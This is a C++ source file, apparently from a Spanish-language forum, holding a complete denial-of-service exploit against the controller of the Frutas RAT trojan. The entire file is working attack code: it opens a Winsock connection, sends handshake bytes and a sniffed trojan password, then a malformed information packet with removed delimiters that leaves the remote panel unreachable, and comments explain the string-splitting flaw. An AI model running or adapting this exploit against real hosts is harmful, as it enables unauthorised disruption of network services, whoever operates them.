Código: Seleccionar todo

/*  Frutas RATV0.8 [Naranja] Beta Denial Of Service
 *  Author: Kevin R.V <[email protected]> 
 *    Date: 2012
 * License: Totally free 8-)
 * */

#include <iostream>
#include <winsock2.h>

#define VERS "0.1"

int   connected;
using namespace std;

void PoC(char * host, unsigned int port, const char * szPassword)
{
	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0),&wsa);
	SOCKET sock;
    struct sockaddr_in  local;
    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	local.sin_family = AF_INET;
	local.sin_addr.s_addr = inet_addr(host);
	local.sin_port = htons(port);
	if (connect(sock, (struct sockaddr *)&local, sizeof(local) ) == 0 )
	{
		//Original info packet "ES?00-19-66-98-5C-16?192.168.1.10?Kevin?Windows XP 5.1 x86?1.7.0_09-b05?0.8\0"
		//the denial of service reason is that the application splits the string by using unsafe modes.
		//then it gets a crash by accesing to not allowed memory
		//As you can see I have removed the first two delimiters, '?' is the delimiter
		//it don't crash because its Java :P but no one can connect to the client after the attack.
		char payload[] = "ES00-19-66-98-5C-16?192.168.1.10Kevin?Windows XP 5.1 x86?1.7.0_09-b05?0.8";
		cout << "[+] Connected to " << host << ":" << port << endl;

		//Incoming connection packets
		sendto(sock, "\x00", 1, 0, (struct sockaddr *)&local,sizeof(local)); 
		sendto(sock, "\x04", 1, 0, (struct sockaddr *)&local,sizeof(local));
		cout << "[+] Sending Incoming connection packets" << endl;
		//password
		sendto(sock, szPassword, strlen(szPassword), 0, (struct sockaddr *)&local,sizeof(local)); 
		//wait 1 second to confirm the password
		sendto(sock, "\x00", 1, 0, (struct sockaddr *)&local,sizeof(local));
		// its the first char of your current username
		sendto(sock, "K", 1, 0, (struct sockaddr *)&local,sizeof(local));  
		cout << "[+] Sending the malformed packet " << endl;
		sendto(sock, payload, sizeof(payload), 0, (struct sockaddr *)&local,sizeof(local));
		Sleep(3000);
	}
	else
	{
		closesocket(sock);
		cout << "[-] Can't connect to server" << endl;
		return;
	}

	if (connect(sock, (struct sockaddr *)&local, sizeof(local) ) == 0 )
	{
		cout << "[-] remote trojan looks alive :( maybe a new version?" << endl;
	}
	else
	{
		cout << "[+] The remote trojan looks dead, congratz, no one can connect there until they reboot it =P" << endl;
	}

}
int main(int argc, char *argv[])

{
	cout << "Frutas RATV0.8 [Naranja] Beta Denial Of Service " VERS << endl << endl;
	cout << "by Kevin R.V <[email protected]" << endl;
	if ( argc < 7 )
	{
		cout << "Usage: " << argv[0] << ".exe -h <ip> -p <port> -k <trojanpassword> (you can get it sniffing)" << endl << endl;
		exit(-1);
	}
	
	u_short port;
	char * ip;
	char * pass;
	
	for(int i = 0; i<argc; i++)
	{
		if( ! strcmp(argv[i], "-h") != 0 )
		ip = argv[i+1];
		else if( ! strcmp(argv[i], "-p") != 0 )
		port = atoi(argv[i+1]);
		else if( ! strcmp(argv[i], "-k") != 0 )
		pass = argv[i+1];
	}
	
	cout << "[+] Starting exploit" << endl << endl;
	PoC(ip, port, pass);
	
	
	return 1;
}